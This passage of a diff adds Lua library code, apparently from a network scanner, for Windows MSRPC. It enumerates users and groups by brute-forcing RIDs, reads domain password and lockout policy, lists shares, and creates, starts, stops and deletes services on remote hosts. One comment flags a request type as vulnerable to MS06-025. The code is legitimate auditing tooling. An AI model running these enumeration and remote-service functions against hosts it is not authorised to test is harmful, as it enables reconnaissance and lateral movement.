+ -- Bind to LSA service
+ local status, bind_result = bind(smbstate, LSA_UUID, LSA_VERSION, nil)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Open the LSA policy
+ local status, openpolicy2_result = lsa_openpolicy2(smbstate, host.ip)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, openpolicy2_result
+ end
+
+ -- Loop through the domains
+ for domain, domain_data in pairs(domains) do
+ for group_rid, group in pairs(domain_data) do
+ -- Look up the SIDs
+ local status, lookupsids2_result = lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], group['member_sids'])
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, "Error looking up RIDs: " .. lookupsids2_result
+ end
+
+ if(lookupsids2_result and lookupsids2_result.names and lookupsids2_result.names.names and (#lookupsids2_result.names.names > 0)) then
+ local members = {}
+ for _, resolved_name in ipairs(lookupsids2_result.names.names) do
+ if(resolved_name.sid_type == "SID_NAME_USER") then
+ table.insert(members, resolved_name.name)
+ end
+ end
+ domains[domain][group_rid]['members'] = members
+ else
+ domains[domain][group_rid]['members'] = {}
+ end
+ end
+ end
+
+ -- Close the handle
+ lsa_close(smbstate, openpolicy2_result['policy_handle'])
+
+ stop_smb(smbstate)
+
+ return true, domains
+end
+
+---Attempt to enumerate users using LSA functions.
+--
+--@param host The host object.
+--@return status, result -- if status is false, result is an error message; otherwise, result is
+-- an array of tables, each containing the following elements:
+-- * name
+-- * rid
+-- * domain
+-- * typestr
+-- * source
+function lsa_enum_users(host)
+
+ local smbstate
+ local response = {}
+ local status, smbstate, bind_result, openpolicy2_result, lookupnames2_result, lookupsids2_result
+
+ -- Create the SMB session
+ status, smbstate = start_smb(host, LSA_PATH, true)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to LSA service
+ status, bind_result = bind(smbstate, LSA_UUID, LSA_VERSION, nil)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Open the LSA policy
+ status, openpolicy2_result = lsa_openpolicy2(smbstate, host.ip)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, openpolicy2_result
+ end
+
+ -- Start with some common names, as well as the name returned by the negotiate call
+ -- Vista doesn't like a 'null' after the server name, so fix that (TODO: the way I strip the null here feels hackish, is there a better way?)
+ local names = {"administrator", "guest", "test"}
+ -- These aren't always sent back (especially with 'extended security')
+ if(smbstate['domain'] ~= nil) then
+ names[#names + 1] = smbstate['domain']
+ end
+ if(smbstate['server'] ~= nil) then
+ names[#names + 1] = string.sub(smbstate['server'], 1, #smbstate['server'] - 1)
+ end
+
+ -- Get the server's name from nbstat
+ local result, server_name = netbios.get_server_name(host.ip)
+ if(result == true) then
+ names[#names + 1] = server_name
+ end
+
+ -- Get the logged in user from nbstat
+ local result, user_name = netbios.get_user_name(host.ip)
+ if(result == true) then
+ names[#names + 1] = user_name
+ end
+
+ -- Look up the names, if any are valid than the server's SID will be returned
+ status, lookupnames2_result = lsa_lookupnames2(smbstate, openpolicy2_result['policy_handle'], names)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, lookupnames2_result
+ end
+ -- Loop through the domains returned and find the users in each
+ for i = 1, #lookupnames2_result['domains']['domains'], 1 do
+ local domain = lookupnames2_result['domains']['domains'][i]['name']
+ local sid = lookupnames2_result['domains']['domains'][i]['sid']
+ local sids = { }
+
+ -- Start by looking up 500 and up
+ for j = 500, 500 + LSA_GROUPSIZE, 1 do
+ sids[#sids + 1] = sid .. "-" .. j
+ end
+
+ status, lookupsids2_result = lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], sids)
+ if(status == false) then
+ stdnse.debug1("Error looking up RIDs: %s", lookupsids2_result)
+ else
+ -- Put the details for each name into an array
+ -- NOTE: Be sure to mirror any changes here in the next bit!
+ for j = 1, #lookupsids2_result['names']['names'], 1 do
+ if(lookupsids2_result['names']['names'][j]['sid_type'] == "SID_NAME_USER") then
+ local result = {}
+ result['name'] = lookupsids2_result['names']['names'][j]['name']
+ result['rid'] = 500 + j - 1
+ result['domain'] = domain
+ result['type'] = lookupsids2_result['names']['names'][j]['sid_type']
+ result['typestr'] = lsa_SidType_tostr(result['type'])
+ result['source'] = "LSA Bruteforce"
+ table.insert(response, result)
+ end
+ end
+ end
+
+ -- Start at RID 1000
+ local start = 1000
+ -- Keep track of the number of consecutive empty groups
+ local empty = 0
+ repeat
+ -- Keep track of the number of names we found in this group
+ local used_names = 0
+
+ local sids = {}
+ for j = start, start + LSA_GROUPSIZE, 1 do
+ sids[#sids + 1] = sid .. "-" .. j
+ end
+
+ -- Try converting this group of RIDs into names
+ status, lookupsids2_result = lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], sids)
+ if(status == false) then
+ stdnse.debug1("Error looking up RIDs: %s", lookupsids2_result)
+ else
+ -- Put the details for each name into an array
+ for j = 1, #lookupsids2_result['names']['names'], 1 do
+ -- Determine the RID
+ local name = lookupsids2_result['names']['names'][j]['name']
+ local rid = start + j - 1
+ local typenum = lookupsids2_result['names']['names'][j]['sid_type']
+ local typestr = lsa_SidType_tostr(typenum)
+
+ -- Check if the username matches the rid (one server we discovered returned every user as valid,
+ -- this is to prevent that infinite loop)
+ if(tonumber(name) ~= rid) then
+ if(lookupsids2_result['names']['names'][j]['sid_type'] == "SID_NAME_USER") then
+ local result = {}
+ result['name'] = name
+ result['rid'] = rid
+ result['domain'] = domain
+ result['type'] = typenum
+ result['typestr'] = typestr
+ result['source'] = "LSA Bruteforce"
+ table.insert(response, result)
+
+ -- Increment the number of names we've found
+ used_names = used_names + 1
+ end
+ end
+ end
+ end
+
+
+ -- Either increment or reset the number of empty groups
+ if(used_names == 0) then
+ empty = empty + 1
+ else
+ empty = 0
+ end
+
+ -- Go to the next set of RIDs
+ start = start + LSA_GROUPSIZE
+ until (status == false or (empty == LSA_MINEMPTY))
+ end
+
+ -- Close the handle
+ lsa_close(smbstate, openpolicy2_result['policy_handle'])
+
+ stop_smb(smbstate)
+
+ return true, response
+end
+
+---Gets the best possible list of user accounts on the remote system using every available method.
+--
+-- TODO: Caching, store this in the registry
+--
+--@param host The host object.
+--@return (status, result, names) If status is false, result is an error message; otherwise, result
+-- is an array of users indexed by username and names is a sorted array of names.
+function get_user_list(host)
+ local status_samr, result_samr
+ local status_lsa, result_lsa
+ local response = {}
+ local names = {}
+
+ status_lsa, result_lsa = lsa_enum_users(host)
+ if(status_lsa == false) then
+ stdnse.debug1("MSRPC: Failed to enumerate users through LSA: %s", result_lsa)
+ else
+ for i = 1, #result_lsa, 1 do
+ if(result_lsa[i]['name'] ~= nil and result_lsa[i]['type'] == "SID_NAME_USER") then
+ response[result_lsa[i]['domain'] .. '\\' .. result_lsa[i]['name']] = result_lsa[i]
+ end
+ end
+ end
+
+ status_samr, result_samr = samr_enum_users(host)
+ if(status_samr == false) then
+ stdnse.debug1("MSRPC: Failed to enumerate users through SAMR: %s", result_samr)
+ else
+ for i = 1, #result_samr, 1 do
+ if(result_samr[i]['name'] ~= nil and result_samr[i]['type'] == "SID_NAME_USER") then
+ response[result_samr[i]['domain'] .. '\\' .. result_samr[i]['name']] = result_samr[i]
+ end
+ end
+ end
+
+ if(status_samr == false and status_lsa == false) then
+ return false, "MSRPC: Couldn't enumerate users; see debug output for more information"
+ end
+
+ for i, v in pairs(response) do
+ table.insert(names, i)
+ end
+ table.sort(names, function(a,b) return a:lower() < b:lower() end )
+
+ return true, response, names
+end
+
+---Retrieve information about a domain. This is done by three separate calls to samr_querydomaininfo2() to get all
+-- possible information. smbstate has to be in the proper state for this to work.
+local function get_domain_info(host, domain)
+ local result = {}
+ local status, smbstate, bind_result, connect4_result, lookupdomain_result, opendomain_result, enumdomainusers_result
+
+ -- Create the SMB session
+ status, smbstate = start_smb(host, SAMR_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SAMR service
+ status, bind_result = bind(smbstate, SAMR_UUID, SAMR_VERSION, nil)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Call connect4()
+ status, connect4_result = samr_connect4(smbstate, host.ip)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, connect4_result
+ end
+
+ -- Call LookupDomain()
+ status, lookupdomain_result = samr_lookupdomain(smbstate, connect4_result['connect_handle'], domain)
+ if(status == false) then
+ samr_close(smbstate, connect4_result['connect_handle'])
+ stop_smb(smbstate)
+ return false, "Couldn't look up the domain: " .. lookupdomain_result
+ end
+
+ -- Call OpenDomain()
+ status, opendomain_result = samr_opendomain(smbstate, connect4_result['connect_handle'], lookupdomain_result['sid'])
+ if(status == false) then
+ samr_close(smbstate, connect4_result['connect_handle'])
+ stop_smb(smbstate)
+ return false, opendomain_result
+ end
+
+ -- Call QueryDomainInfo2() to get domain properties. We call these for three types -- 1, 8, and 12, since those return
+ -- the most useful information.
+ local status_1, querydomaininfo2_result_1 = samr_querydomaininfo2(smbstate, opendomain_result['domain_handle'], 1)
+ local status_8, querydomaininfo2_result_8 = samr_querydomaininfo2(smbstate, opendomain_result['domain_handle'], 8)
+ local status_12, querydomaininfo2_result_12 = samr_querydomaininfo2(smbstate, opendomain_result['domain_handle'], 12)
+
+ if(status_1 == false) then
+ samr_close(smbstate, connect4_result['connect_handle'])
+ stop_smb(smbstate)
+ return false, querydomaininfo2_result_1
+ end
+
+ if(status_8 == false) then
+ samr_close(smbstate, connect4_result['connect_handle'])
+ stop_smb(smbstate)
+ return false, querydomaininfo2_result_8
+ end
+
+ if(status_12 == false) then
+ samr_close(smbstate, connect4_result['connect_handle'])
+ stop_smb(smbstate)
+ return false, querydomaininfo2_result_12
+ end
+
+ -- Call EnumDomainUsers() to get users
+ status, enumdomainusers_result = samr_enumdomainusers(smbstate, opendomain_result['domain_handle'])
+ if(status == false) then
+ samr_close(smbstate, connect4_result['connect_handle'])
+ stop_smb(smbstate)
+ return false, enumdomainusers_result
+ end
+
+ -- Call EnumDomainAliases() to get groups
+ local status, enumdomaingroups_result = samr_enumdomainaliases(smbstate, opendomain_result['domain_handle'])
+ if(status == false) then
+ samr_close(smbstate, connect4_result['connect_handle'])
+ stop_smb(smbstate)
+ return false, enumdomaingroups_result
+ end
+
+ -- Close the domain handle
+ samr_close(smbstate, opendomain_result['domain_handle'])
+ -- Close the smb session
+ stop_smb(smbstate)
+
+ -- Create a list of groups
+ local groups = {}
+ if(enumdomaingroups_result['sam'] ~= nil and enumdomaingroups_result['sam']['entries'] ~= nil) then
+ for _, group in ipairs(enumdomaingroups_result['sam']['entries']) do
+ table.insert(groups, group.name)
+ end
+ end
+
+ -- Create the list of users
+ local names = {}
+ if(enumdomainusers_result['sam'] ~= nil and enumdomainusers_result['sam']['entries'] ~= nil) then
+ for _, name in ipairs(enumdomainusers_result['sam']['entries']) do
+ table.insert(names, name.name)
+ end
+ end
+
+ -- Our output table
+ local response = {}
+
+ -- Finally, start filling in the response!
+ response['name'] = domain
+ response['sid'] = lookupdomain_result['sid']
+ response['groups'] = groups
+ response['users'] = names
+ if(querydomaininfo2_result_8['info']['domain_create_time'] ~= 0) then
+ response['created'] = datetime.format_timestamp(querydomaininfo2_result_8['info']['domain_create_time'])
+ else
+ response['created'] = "unknown"
+ end
+
+ -- Password characteristics
+ response['min_password_length'] = querydomaininfo2_result_1['info']['min_password_length']
+ response['max_password_age'] = querydomaininfo2_result_1['info']['max_password_age'] / 60 / 60 / 24
+ response['min_password_age'] = querydomaininfo2_result_1['info']['min_password_age'] / 60 / 60 / 24
+ response['password_history'] = querydomaininfo2_result_1['info']['password_history_length']
+ response['lockout_duration'] = querydomaininfo2_result_12['info']['lockout_duration'] / 60
+ response['lockout_threshold'] = querydomaininfo2_result_12['info']['lockout_threshold']
+ response['lockout_window'] = querydomaininfo2_result_12['info']['lockout_window'] / 60
+
+ -- Sanity check the different values, and remove them if they don't appear to be set
+ if(response['min_password_length'] <= 0) then
+ response['min_password_length'] = nil
+ end
+
+ if(response['max_password_age'] < 0 or response['max_password_age'] > 5000) then
+ response['max_password_age'] = nil
+ end
+
+ if(response['min_password_age'] <= 0) then
+ response['min_password_age'] = nil
+ end
+
+ if(response['password_history'] <= 0) then
+ response['password_history'] = nil
+ end
+
+ if(response['lockout_duration'] <= 0) then
+ response['lockout_duration'] = nil
+ end
+
+ if(response['lockout_threshold'] <= 0) then
+ response['lockout_threshold'] = nil
+ end
+
+ if(response['lockout_window'] <= 0) then
+ response['lockout_window'] = nil
+ end
+
+ local password_properties = querydomaininfo2_result_1['info']['password_properties']
+
+ if(#password_properties > 0) then
+ local password_properties_response = {}
+ password_properties_response['name'] = "Password properties:"
+ for j = 1, #password_properties, 1 do
+ table.insert(password_properties_response, samr_PasswordProperties_tostr(password_properties[j]))
+ end
+
+ response['password_properties'] = password_properties_response
+ end
+
+ return true, response
+end
+
+function get_domains(host)
+ local result = {}
+ local status, smbstate, bind_result, connect4_result, enumdomains_result
+
+ -- Create the SMB session
+ status, smbstate = start_smb(host, SAMR_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SAMR service
+ status, bind_result = bind(smbstate, SAMR_UUID, SAMR_VERSION, nil)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Call connect4()
+ status, connect4_result = samr_connect4(smbstate, host.ip)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, connect4_result
+ end
+
+ -- Call EnumDomains()
+ status, enumdomains_result = samr_enumdomains(smbstate, connect4_result['connect_handle'])
+ if(status == false) then
+ samr_close(smbstate, connect4_result['connect_handle'])
+ stop_smb(smbstate)
+
+ return false, enumdomains_result
+ end
+
+ -- Close the connect handle
+ samr_close(smbstate, connect4_result['connect_handle'])
+
+ -- Close the SMB session
+ stop_smb(smbstate)
+
+ -- If no domains were returned, return an error (not sure that this can ever happen, but who knows?)
+ if(#enumdomains_result['sam']['entries'] == 0) then
+ return false, "No domains could be found"
+ end
+
+ local response = {}
+ for i = 1, #enumdomains_result['sam']['entries'], 1 do
+ local domain = enumdomains_result['sam']['entries'][i]['name']
+ local status, domain_info = get_domain_info(host, domain)
+
+ if(not(status)) then
+ return false, "Couldn't get info for the domain: " .. domain_info
+ else
+ response[domain] = domain_info
+ end
+
+ end
+
+ return true, response
+end
+
+---Create a "service" on a remote machine.
+--
+-- This service is linked to an executable that is already on the system. The
+-- name of the service can be whatever you want it to be. The service is
+-- created in the "stopped" state with "manual" startup, and it ignores errors.
+-- The 'servicename' is what people will see on the system while the service is
+-- running, and what'll stay there is something happens that the service can't
+-- be deleted properly.
+--
+-- Note that this (and the other "service" functions) are highly invasive. They
+-- make configuration changes to the machine that can potentially affect
+-- stability.
+--
+-- The reason that this and the other "service" functions don't require a
+-- <code>smbstate</code> object is that I wanted them to be independent. If a
+-- service fails to start, I don't want it to affect the program's ability to
+-- stop and delete the service. Every service function is independent.
+--
+--@param host The host object.
+--@param servicename The name of the service to create.
+--@param path The path and filename on the remote system.
+--@return status true or false
+--@return error message if status is false
+function service_create(host, servicename, path)
+ local status, smbstate, bind_result, open_result, create_result, close_result
+
+ stdnse.debug1("Creating service: %s (%s)", servicename, path)
+
+ -- Create the SMB session
+ status, smbstate = start_smb(host, SVCCTL_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SVCCTL service
+ status, bind_result = bind(smbstate, SVCCTL_UUID, SVCCTL_VERSION, nil)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, bind_result
+ end
+
+ -- Open the service manager
+ stdnse.debug2("Opening the remote service manager")
+ status, open_result = svcctl_openscmanagerw(smbstate, host.ip, 0x02000000)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, open_result
+ end
+
+ -- Create the service
+ stdnse.debug2("Creating the service")
+ status, create_result = svcctl_createservicew(smbstate, open_result['handle'], servicename, servicename, path)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, create_result
+ end
+ -- Close the handle to the service
+ status, close_result = svcctl_closeservicehandle(smbstate, create_result['handle'])
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, close_result
+ end
+
+ -- Close the service manager
+ status, close_result = svcctl_closeservicehandle(smbstate, open_result['handle'])
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, close_result
+ end
+
+ smb.stop(smbstate)
+
+ return true
+end
+
+---Start a service on the remote machine based on its name. For example, to start the registry
+-- service, this can be called on "RemoteRegistry".
+--
+-- If you start a service on a machine, you should also stop it when you're finished. Every service
+-- running is extra attack surface for a potential attacker
+--
+--@param host The host object.
+--@param servicename The name of the service to start.
+--@param args [optional] The arguments to pass to the service. Most built-in services don't
+-- require arguments.
+--@return (status, err) If status is <code>false</code>, <code>err</code> is an error message;
+-- otherwise, err is undefined.
+function service_start(host, servicename, args)
+ local status, smbstate, bind_result, open_result, open_service_result, start_result, close_result, query_result
+
+ stdnse.debug1("Starting service: %s", servicename)
+
+ -- Create the SMB session
+ status, smbstate = start_smb(host, SVCCTL_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SVCCTL service
+ status, bind_result = bind(smbstate, SVCCTL_UUID, SVCCTL_VERSION, nil)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, bind_result
+ end
+
+ -- Open the service manager
+ stdnse.debug1("Opening the remote service manager")
+ status, open_result = svcctl_openscmanagerw(smbstate, host.ip, 0x02000000)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, open_result
+ end
+
+ -- Get a handle to the service
+ stdnse.debug2("Getting a handle to the service")
+ status, open_service_result = svcctl_openservicew(smbstate, open_result['handle'], servicename, 0x000f01ff)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, open_service_result
+ end
+
+ -- Start it
+ stdnse.debug2("Starting the service")
+ status, start_result = svcctl_startservicew(smbstate, open_service_result['handle'], args)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, start_result
+ end
+
+ -- Wait for it to start (TODO: Check the query result better)
+ stdnse.debug1("Waiting for the service to start")
+ repeat
+ status, query_result = svcctl_queryservicestatus(smbstate, open_service_result['handle'])
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, query_result
+ end
+ stdnse.sleep(.5)
+ until query_result['service_status']['controls_accepted'][1] == "SERVICE_CONTROL_STOP" or query_result['service_status']['state'][1] == "SERVICE_STATE_ACTIVE"
+
+ -- Close the handle to the service
+ status, close_result = svcctl_closeservicehandle(smbstate, open_service_result['handle'])
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, close_result
+ end
+
+ -- Close the service manager
+ status, close_result = svcctl_closeservicehandle(smbstate, open_result['handle'])
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, close_result
+ end
+
+ smb.stop(smbstate)
+
+ return true
+end
+
+---Stop a service on the remote machine based on its name. For example, to stop the registry
+-- service, this can be called on "RemoteRegistry".
+--
+-- This can be called on a service that's already stopped without hurting anything (just keep in mind
+-- that an error will be returned).
+--
+--@param host The host object.
+--@param servicename The name of the service to stop.
+--@return (status, err) If status is <code>false</code>, <code>err</code> is an error message;
+-- otherwise, err is undefined.
+function service_stop(host, servicename)
+ local status, smbstate, bind_result, open_result, open_service_result, control_result, close_result, query_result
+
+ stdnse.debug1("Stopping service: %s", servicename)
+
+ -- Create the SMB session
+ status, smbstate = start_smb(host, SVCCTL_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SVCCTL service
+ status, bind_result = bind(smbstate, SVCCTL_UUID, SVCCTL_VERSION, nil)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, bind_result
+ end
+
+ -- Open the service manager
+ stdnse.debug2("Opening the remote service manager")
+ status, open_result = svcctl_openscmanagerw(smbstate, host.ip, 0x02000000)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, open_result
+ end
+
+ -- Get a handle to the service
+ stdnse.debug2("Getting a handle to the service")
+ status, open_service_result = svcctl_openservicew(smbstate, open_result['handle'], servicename, 0x000f01ff)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, open_service_result
+ end
+
+ -- Stop it
+ stdnse.debug2("Stopping the service")
+ status, control_result = svcctl_controlservice(smbstate, open_service_result['handle'], "SERVICE_CONTROL_STOP")
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, control_result
+ end
+
+ -- Wait for it to stop (TODO: Check the query result better)
+ stdnse.debug2("Waiting for the service to stop")
+ repeat
+ status, query_result = svcctl_queryservicestatus(smbstate, open_service_result['handle'])
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, query_result
+ end
+ stdnse.sleep(.5)
+ until query_result['service_status']['controls_accepted'][1] == nil
+
+ -- Close the handle to the service
+ status, close_result = svcctl_closeservicehandle(smbstate, open_service_result['handle'])
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, close_result
+ end
+
+ -- Close the service manager
+ status, close_result = svcctl_closeservicehandle(smbstate, open_result['handle'])
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, close_result
+ end
+
+ smb.stop(smbstate)
+
+ return true
+end
+
+---Delete a service on the remote machine based on its name. I don't recommend deleting any services that
+-- you didn't create.
+--
+--@param host The host object.
+--@param servicename The name of the service to delete.
+--@return (status, err) If status is <code>false</code>, <code>err</code> is an error message;
+-- otherwise, err is undefined.
+function service_delete(host, servicename)
+ local status, smbstate, bind_result, open_result, open_service_result, delete_result, close_result
+
+ stdnse.debug1("Deleting service: %s", servicename)
+
+ -- Create the SMB session
+ status, smbstate = start_smb(host, SVCCTL_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SVCCTL service
+ status, bind_result = bind(smbstate, SVCCTL_UUID, SVCCTL_VERSION, nil)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, bind_result
+ end
+
+ -- Open the service manager
+ stdnse.debug2("Opening the remote service manager")
+ status, open_result = svcctl_openscmanagerw(smbstate, host.ip, 0x02000000)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, open_result
+ end
+
+ -- Get a handle to the service
+ stdnse.debug2("Getting a handle to the service: %s", servicename)
+ status, open_service_result = svcctl_openservicew(smbstate, open_result['handle'], servicename, 0x000f01ff)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, open_service_result
+ end
+
+ -- Delete the service
+ stdnse.debug2("Deleting the service")
+ status, delete_result = svcctl_deleteservice(smbstate, open_service_result['handle'])
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, delete_result
+ end
+
+ -- Close the handle to the service
+ status, close_result = svcctl_closeservicehandle(smbstate, open_service_result['handle'])
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, close_result
+ end
+
+ -- Close the service manager
+ status, close_result = svcctl_closeservicehandle(smbstate, open_result['handle'])
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, close_result
+ end
+
+ smb.stop(smbstate)
+
+ return true
+end
+
+---Retrieves statistical information about the given server.
+--
+-- This function requires administrator privileges to run, and is present on
+-- all Windows versions, so it's a useful way to check whether or not an
+-- account is administrative.
+--@param host The host object
+--@return status true or false
+--@return If status is false, data is an error message; otherwise, data is a
+-- table of information about the server.
+function get_server_stats(host)
+ local stats
+ local status
+ local smbstate
+
+ -- Create the SMB session
+ status, smbstate = start_smb(host, SRVSVC_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SRVSVC service
+ local status, bind_result = bind(smbstate, SRVSVC_UUID, SRVSVC_VERSION, nil)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, bind_result
+ end
+
+ -- Call netservergetstatistics for 'server'
+ local status, netservergetstatistics_result = srvsvc_netservergetstatistics(smbstate, host.ip)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, netservergetstatistics_result
+ end
+
+ -- Stop the session
+ smb.stop(smbstate)
+
+ -- Build the response
+ local stats = netservergetstatistics_result['stat']
+
+ -- Convert the date to a string
+ stats['start_str'] = datetime.format_timestamp(stats['start'])
+
+ -- Get the period and convert it to a proper time offset
+ stats['period'] = os.time() - stats['start']
+ stats.period_str = datetime.format_time(stats.period)
+
+ -- Combine the 64-bit values
+ stats['bytessent'] = ((stats['bytessent_high'] << 32) | stats['bytessent_low'])
+ stats['bytesrcvd'] = ((stats['bytesrcvd_high'] << 32) | stats['bytesrcvd_low'])
+
+ -- Sidestep divide-by-zero errors (probably won't come up, but I'd rather be safe)
+ if(stats['period'] == 0) then
+ stats['period'] = 1
+ end
+
+ -- Get the bytes/second values
+ stats['bytessentpersecond'] = stats['bytessent'] / stats['period']
+ stats['bytesrcvdpersecond'] = stats['bytesrcvd'] / stats['period']
+
+ return true, stats
+end
+
+---Attempts to enumerate the shares on a remote system using MSRPC calls. Without a user account,
+-- this will likely fail against a modern system, but will succeed against Windows 2000.
+--
+--@param host The host object.
+--@return Status (true or false).
+--@return List of shares (if status is true) or an an error string (if status is false).
+function enum_shares(host)
+
+ local status, smbstate
+ local bind_result, netshareenumall_result
+ local shares
+
+ -- Create the SMB session
+ status, smbstate = start_smb(host, SRVSVC_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SRVSVC service
+ status, bind_result = bind(smbstate, SRVSVC_UUID, SRVSVC_VERSION, nil)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, bind_result
+ end
+
+ -- Call netshareenumall
+ status, netshareenumall_result = srvsvc_netshareenumall(smbstate, host.ip)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, netshareenumall_result
+ end
+
+ -- Stop the SMB session
+ smb.stop(smbstate)
+
+ -- Convert the share list to an array
+ shares = {}
+ for i, v in pairs(netshareenumall_result['ctr']['array']) do
+ shares[#shares + 1] = v['name']
+ end
+
+ return true, shares
+end
+
+
+---Attempts to retrieve additional information about a share. Will fail unless we have
+-- administrative access.
+--
+--@param host The host object.
+--@return Status (true or false).
+--@return A table of information about the share (if status is true) or an an error string (if
+-- status is false).
+function get_share_info(host, name)
+ local response = {}
+
+ -- Create the SMB session
+ local status, smbstate = start_smb(host, SRVSVC_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SRVSVC service
+ local status, bind_result = bind(smbstate, SRVSVC_UUID, SRVSVC_VERSION, nil)
+ if(status == false) then
+ smb.stop(smbstate)
+ return false, bind_result
+ end
+
+ -- Call NetShareGetInfo
+
+ local status, netsharegetinfo_result = srvsvc_netsharegetinfo(smbstate, host.ip, name, 2)
+ stdnse.debug2("NetShareGetInfo status:%s result:%s", status, netsharegetinfo_result)
+ if(status == false) then
+ if(string.find(netsharegetinfo_result, "NT_STATUS_WERR_ACCESS_DENIED")) then
+ stdnse.debug2("Calling NetShareGetInfo with information level 1")
+ status, netsharegetinfo_result = srvsvc_netsharegetinfo(smbstate, host.ip, name, 1)
+ if status then
+ smb.stop(smbstate)
+ return true, netsharegetinfo_result
+ end
+ end
+ smb.stop(smbstate)
+ return false, netsharegetinfo_result
+ end
+
+ smb.stop(smbstate)
+
+ return true, netsharegetinfo_result
+end
+
+--####################################################################--
+--# 1) RRAS RASRPC INTERFACE
+--####################################################################--
+ROUTER_PATH = "\\router" --also can be reached across "\\srvsvc" pipe in WinXP
+RASRPC_UUID = "\x36\x00\x61\x20\x22\xfa\xcf\x11\x98\x23\x00\xa0\xc9\x11\xe5\xdf"
+RASRPC_VERSION = 1
+
+--####################################################################--
+--# 2) RRAS RASRPC TYPES
+--####################################################################--
+
+--####################################################################--
+--typedef enum _ReqTypes{
+-- REQTYPE_PORTENUM = 21,//Request to enumerate all the port information on the RRAS.
+-- REQTYPE_GETINFO = 22,//Request to get information about a specific port on the RRAS.
+-- REQTYPE_GETDEVCONFIG = 73,//Request to get device information on the RRAS.
+-- REQTYPE_SETDEVICECONFIGINFO = 94,//Request to set device configuration information on RRAS.
+-- REQTYPE_GETDEVICECONFIGINFO = 95,//Request to get device configuration information on RRAS.
+-- REQTYPE_GETCALLEDID = 105,//Request to get CalledId information for a specific device on RRAS.
+-- REQTYPE_SETCALLEDID = 106,//Request to set CalledId information for a specific device on RRAS.
+-- REQTYPE_GETNDISWANDRIVERCAPS = 111//Request to get the encryption capabilities of the RRAS.
+--} ReqTypes;
+--- The <code>ReqTypes</code> enumerations indicate the different types of message requests that can be passed in
+--the <code>RB_ReqType</code> field of <code>RequestBuffer</code> structure.
+-- * [MS-RRASM] <code>2.2.1.1.18 ReqTypes</code>
+--####################################################################--
+RRAS_RegTypes = {}
+RRAS_RegTypes['PORTENUM'] = 21
+RRAS_RegTypes['GETINFO'] = 22
+RRAS_RegTypes['GETDEVCONFIG'] = 73 --this method is vulnerable to ms06-025
+RRAS_RegTypes['SETDEVICECONFIGINFO'] = 94
+RRAS_RegTypes['GETDEVICECONFIGINFO'] = 95
+RRAS_RegTypes['GETCALLEDID'] = 105
+RRAS_RegTypes['SETCALLEDID'] = 106
+RRAS_RegTypes['GETNDISWANDRIVERCAPS'] = 111
+
+--####################################################################--
+--typedef struct _RequestBuffer {
+-- DWORD RB_PCBIndex;//A unique identifier for the port.
+-- ReqTypes RB_Reqtype;//A ReqTypes enumeration value indicating the request type sent to the server.
+-- DWORD RB_Dummy;//MUST be set to the size of the ULONG_PTR on the client.
+-- DWORD RB_Done;//MBZ
+-- LONGLONG Alignment;//MBZ
+-- BYTE RB_Buffer[1];//variable size
+--} RequestBuffer;
+--- The <code>RequestBuffer</code> is a generic information container used by the <code>RasRpcSubmitRequest</code>
+--method to set or retrieve information on RRAS server. This method performs
+--serialization of <code>RequestBuffer</code> structure.
+-- Note: This structure is not an IDL specification and as such is not translated into NDR.
+-- @return Returns a blob of <code>RequestBuffer</code> structure.
+-- * [MS-RRASM] <code>2.2.1.2.218 RequestBuffer</code>
+--####################################################################--
+function RRAS_marshall_RequestBuffer(RB_PCBIndex, RB_ReqType, RB_Buffer)
+ local rb_blob, RB_Dummy, RB_Done, Alignment
